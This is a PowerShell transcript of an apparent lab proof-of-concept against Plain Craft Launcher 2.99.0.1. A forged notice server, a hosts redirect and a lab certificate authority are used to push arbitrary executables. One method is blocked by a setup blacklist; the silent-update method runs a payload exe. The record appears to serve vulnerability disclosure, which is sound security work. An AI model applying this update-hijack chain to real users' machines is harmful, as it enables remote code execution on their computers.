﻿**********************
Windows PowerShell transcript start
Start time: 20261025030453
Username: W-\Administrator
RunAs User: W-\Administrator
Configuration Name: 
Machine: W- (Microsoft Windows NT 10.0.19044.0)
Host Application: powershell.exe -NoProfile -ExecutionPolicy Bypass -File D:\pcl-test\demo.ps1
Process ID: 3864
PSVersion: 5.1.19041.1237
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.19041.1237
BuildVersion: 10.0.19041.1237
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
Waiting for the desktop ...
==============================================================
 PCL 2.99.0.1 PoC demo  |  step1
==============================================================

Windows 10 Enterprise LTSC 2021 - isolated lab VM. PCL 2.99.0.1 (build 415).

  computer : W-
  user     : Administrator
  OS       : Microsoft Windows 10 Enterprise LTSC
  display  : 1920x1080 (1920x1020)
  network  : no NIC attached
==============================================================
 PCL 2.99.0.1 PoC demo  |  step2
==============================================================

Copy PCL 2.99.0.1.zip to the Desktop.

  C:\Users\Administrator\Desktop\PCL-2.99.0.1.zip
  size   : 2673993 bytes
  sha256 : 4D239A62ED66FB9EBCF4633FD881EB098E9A7E4F296F0E414B58AA2F1F7F7830
==============================================================
 PCL 2.99.0.1 PoC demo  |  step3
==============================================================

Extract the new PCL to Desktop\PCL.

  C:\Users\Administrator\Desktop\PCL\Plain Craft Launcher 2.exe
  size   : 6013952 bytes
  sha256 : 0DB34E19D9EEB6D496D20FABE786EC16BBD36BA6B0CCDC8D29CB7E909C114397
==============================================================
 PCL 2.99.0.1 PoC demo  |  step4
==============================================================

Run the PoC: forged notice server, hosts entry and a lab CA.

  target : pcl2-server-1253424809.file.myqcloud.com
  hosts  : 127.0.0.1
  server : https://127.0.0.1:443 (PowerShell TlsListener)
  notice : id 11002, importantLevel 999

  notice.json -> actions.setup:
    "LaunchAdvanceRun": "C:\\Users\\Public\\pclpoc.exe"

  Starting the PoC and PCL ...

[03:05:28] PCL: C:\Users\Administrator\Desktop\PCL\Plain Craft Launcher 2.exe
[03:05:29] hosts already contains the lab entry.
[03:05:29] DNS cache flushed.
[03:05:29] Generating lab CA and leaf certificates ...
[03:05:31] CA generated: 98D33A82388DDAB8F63D9099F63A2343E4ED6C3C
[03:05:31] leaf generated: F892D85ED609589BAFDB3D82B65D69183384E994
[03:05:32] payload compiled: C:\Users\Public\pclpoc.exe
[03:05:35] PoC server listening on https://127.0.0.1:443 (mode=launch)
[03:05:35] Starting PCL ...
[03:05:36] PCL PID 2500

>>> In PCL, click "Start Game" (a working Minecraft instance is required).
>>> This is what runs the LaunchAdvanceRun payload.

[03:05:36] Waiting up to 40 seconds for C:\Users\ADMINI~1\AppData\Local\Temp\pcl-poc-marker.txt ...

[-] No marker file was produced.
    PCL log: C:\Users\Administrator\Desktop\PCL\PCL\Log*.txt
    server log: C:\PCLPoC\backup\server.out.log

[03:05:57] Cleanup ...
[03:05:57] CA removed.
[03:05:57] leaf certificate removed.
[03:05:58] hosts restored.
[03:05:58] PCL registry restored.
[03:05:58] Done.

--- Method 1 result ---
  no marker: LaunchAdvanceRun was not executed.
  PCL log: C:\Users\Administrator\Desktop\PCL\PCL\Log1.txt
  62: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] 执行 PCL 服务器公告动作失败（setup, {
  63: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret]   "LaunchAdvanceRun": "C:\\Users\\Public\\pclpoc.exe",
  64: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret]   "LaunchAdvanceRunWait": "False"
  65: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] }）：被禁止的设置项：LaunchAdvanceRun

  2.99.0.1 setup blacklist rejects LaunchAdvanceRun before saving it.
==============================================================
 PCL 2.99.0.1 PoC demo  |  step6
==============================================================

Delete the entire PCL directory.

  C:\Users\Administrator\Desktop\PCL
  exists after delete: False

  A clean copy is extracted again for method 2.
==============================================================
 PCL 2.99.0.1 PoC demo  |  step7
==============================================================

Method 2: notice.cfg + slientupdate -> silent update -> arbitrary exe.

  notice.cfg  : 11002|0|0|0|999
  ServerConfig: Update.Release.DownloadUrls -> https://.../update.zip
  update.zip  : Plain Craft Launcher 2.exe (payload)

  Starting the PoC and PCL ...

[03:06:24] PCL: C:\Users\Administrator\Desktop\PCL\Plain Craft Launcher 2.exe
[03:06:24] hosts already contains the lab entry.
[03:06:24] DNS cache flushed.
[03:06:24] Generating lab CA and leaf certificates ...
[03:06:24] CA generated: 5905F23B030711502A1BE07211CA919E638404A5
[03:06:24] leaf generated: 14654FAC23BE9D40AF14DAF305B15EE8DAB81B03
[03:06:24] payload compiled: C:\Users\Public\pclpoc.exe
[03:06:27] PoC server listening on https://127.0.0.1:443 (mode=update)
[03:06:27] Starting PCL ...
[03:06:28] PCL PID 2444
[03:06:28] Waiting for the silent update to stage PCL\Plain Craft Launcher 2.exe ...
[03:06:32] update payload staged.
[03:06:34] Closing PCL PID 2444 ...
[03:06:35] Waiting up to 60 seconds for C:\Users\ADMINI~1\AppData\Local\Temp\pcl-poc-marker.txt ...

[+] SUCCESS: payload executed.
    2026-10-25T03:06:35.7399399+08:00 pid=2264 args=--update 2444 Plain Craft Launcher 2.exe Plain Cra
ft Launcher 2.exe False

[03:06:36] Cleanup ...
[03:06:36] CA removed.
[03:06:36] leaf certificate removed.
[03:06:36] hosts restored.
[03:06:36] PCL registry restored.
[03:06:36] Done.

--- Method 2 result ---
  marker:
    2026-10-25T03:06:35.7399399+08:00 pid=2264 args=--update 2444 Plain Craft Launcher 2.exe Plain Craft Launcher 2.exe False

  staged exe : D:\pcl-test\evidence\staging.exe (4096 bytes)
  sha256     : DA949D1F40D1DD40BA80C0CEEAB43278EDA92FA680A0551ACAFF0E39BC12CB6D
  update.zip : Plain Craft Launcher 2.exe (4096 bytes)
  entry sha256: DA949D1F40D1DD40BA80C0CEEAB43278EDA92FA680A0551ACAFF0E39BC12CB6D
  hash match  : the downloaded zip entry ran.
  calc.exe    : started (visible on the right)

--- Summary ---
  Method 1 (setup -> LaunchAdvanceRun): BLOCKED
  Method 2 (slientupdate -> exe)     : SUCCESS

  Opening RESULT.txt on the right ...
**********************
Windows PowerShell transcript end
End time: 20261025030711
**********************
